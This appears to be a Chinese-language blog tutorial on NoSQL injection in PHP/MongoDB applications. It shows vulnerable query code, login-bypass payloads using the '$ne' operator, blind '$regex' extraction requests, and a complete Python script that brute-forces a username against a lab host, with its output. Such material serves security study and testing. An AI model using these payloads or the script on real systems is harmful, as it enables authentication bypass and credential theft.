不停的练习才能让自己变得更强

注入

常规的关系型数据库存在如下注入漏洞

1
Select * from usere where id = $id *

在*号处可能会存在拼接注入

但是MongoDB因所使用PHP连接库的不同,而有多种注入方法。

NOSQL注入分析

按照语言分类:

1
2
3
4
5
1.PHP数组注入

2.js注入

3.mongo shell拼接注入

按照攻击手段分类:

1
2
3
4
5
1.重言式

2.联合查询

3.javascript注入

攻击危害分别如下:

1
Mongo shell拼接注入 > js 注入  > PHP数组注入

Mongo shell拼接注入

漏洞代码如下:

1
2
3
4
5
$query = array(
'$where' => "function login() {var username = '".$username."';var password = '".$password."';if(username == 'admin' && password == '123456') return true; else{ return false;}}"
);
$query = new MongoDB\Driver\Query($query);
$cursor = $manager->executeQuery($tb_users, $query)->toArray();

在这代码中直接运行了js代码,通过js代码去进行数据查询。这里的数据构建和常规sql注入的很像,可以直接通过”截断 再用’去闭合语句。

js 注入

1
2
3
4
$cmd = new MongoDB\Driver\Command([
'eval'=>
'db.messages.find({"author":"'.$username.'"}).sort({"addtime":-1});'
]);

PHP数组注入

1
2
3
4
$query = array(
'username' => $username,
'password' => $password,
);

万能密码登陆

在这里直接将’username’和’pssword’转换成JSON格式了,这里看起来没有注入。但是PHP有一个特性,在传参时能够传数组 。因此可以将username=1,passowrd=1改为username[$ne]=1,password[$ne]=1。带入数据库后就变成了:

1
2
3
4
5
6
7
8
9
10
11
$query = array(
{
"username":{
"$ne":"1"
},
"password":{
"$ne":"1"
}
}
)
db.users.find({"username":{"$ne":"1"},"password":{"$ne":"1"}})

这种方法类似于万能密码,将username不包括”1”的和password不包括”1”的数据返回。返回的都是对的数据,那肯定能够登陆。

这样就用万能密码登陆进去了

查询数据

将username[$ne]=1 中的$ne换成正则匹配符$regex,每次都正则匹配一个值。如果匹配正确了则数据正确,登陆成功。如果匹配错误则登陆失败。

判断第一个字母是否是1,发现匹配错误登陆失败。

1
username[$regex]=^1&password[$ne]=1&submit=%E7%99%BB%E5%BD%95

判断第一个字母是否是a,发现匹配正确登陆成功。

1
username[$regex]=^a&password[$ne]=1&submit=%E7%99%BB%E5%BD%95

开始判断第二个字母,发现开头不是ab

1
username[$regex]=^ab&password[$ne]=1&submit=%E7%99%BB%E5%BD%95

继续往下判断,发现第二个字母是d

1
username[$regex]=^ad&password[$ne]=1&submit=%E7%99%BB%E5%BD%95

我们可以通过这种方法去逐个判断每个值,但是无法判断最后一个字母是什么。这时候就要用到正则$去匹配最后一个字符了。

当^ad满足且^ad$也满足时,证明ad为所有字符。

1
username[$regex]=^ad$&password[$ne]=1&submit=%E7%99%BB%E5%BD%95

在这里ad明显不是所有字符,让我们用脚本跑一下。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#! coding=utf-8

import requests
import hashlib

str1 = '''!"#%&',-/0123456789:;<=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ_`abcdefghijklmnopqrstuvwxyz~'''

str2 = '''$\()*+,\.?[]^{|}'''

url = 'http://192.168.107.147/login.php'
print url
data = {
'username[$regex]': '^.',
'password[$ne]': '1',
'submit': '%E7%99%BB%E5%BD%95'
}

r = requests.post(url, data)

body = r.text

result = ''

def go(result, str1, str2):
tmp = result
for i in str1:

data = {
'username[$regex]': '^%s' % result + i,
'password[$ne]': '1' ,
'submit': '%E7%99%BB%E5%BD%95'
}

r = requests.post(url, data)
if body == r.text:
tmp = result + i
print data
print(tmp)
go(tmp, str1, str2)
continue

if i == str1[-1] and body != r.text:
for i in str2:
data = {
'username[$ne]': '1',
'password[$regex]': '^%s' % result + '\\' + i,
'submit': '%E7%99%BB%E5%BD%95'
}
r = requests.post(url, data)
if body == r.text:
tmp = result + i
print(tmp)
go(tmp, str1, str2)


go(result, str1, str2)

运行结果如下:

1
2
3
4
5
6
7
8
9
10
{'username[$regex]': '^a', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'}
a
{'username[$regex]': '^ad', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'}
ad
{'username[$regex]': '^adm', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'}
adm
{'username[$regex]': '^admi', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'}
admi
{'username[$regex]': '^admin', 'submit': '%E7%99%BB%E5%BD%95', 'password[$ne]': '1'}
admin

可以看到用户名为admin,密码也可以用这种方法爆破故此不再重复。

但是PHP数组注入充满了局限性,只能够查本表中的数据。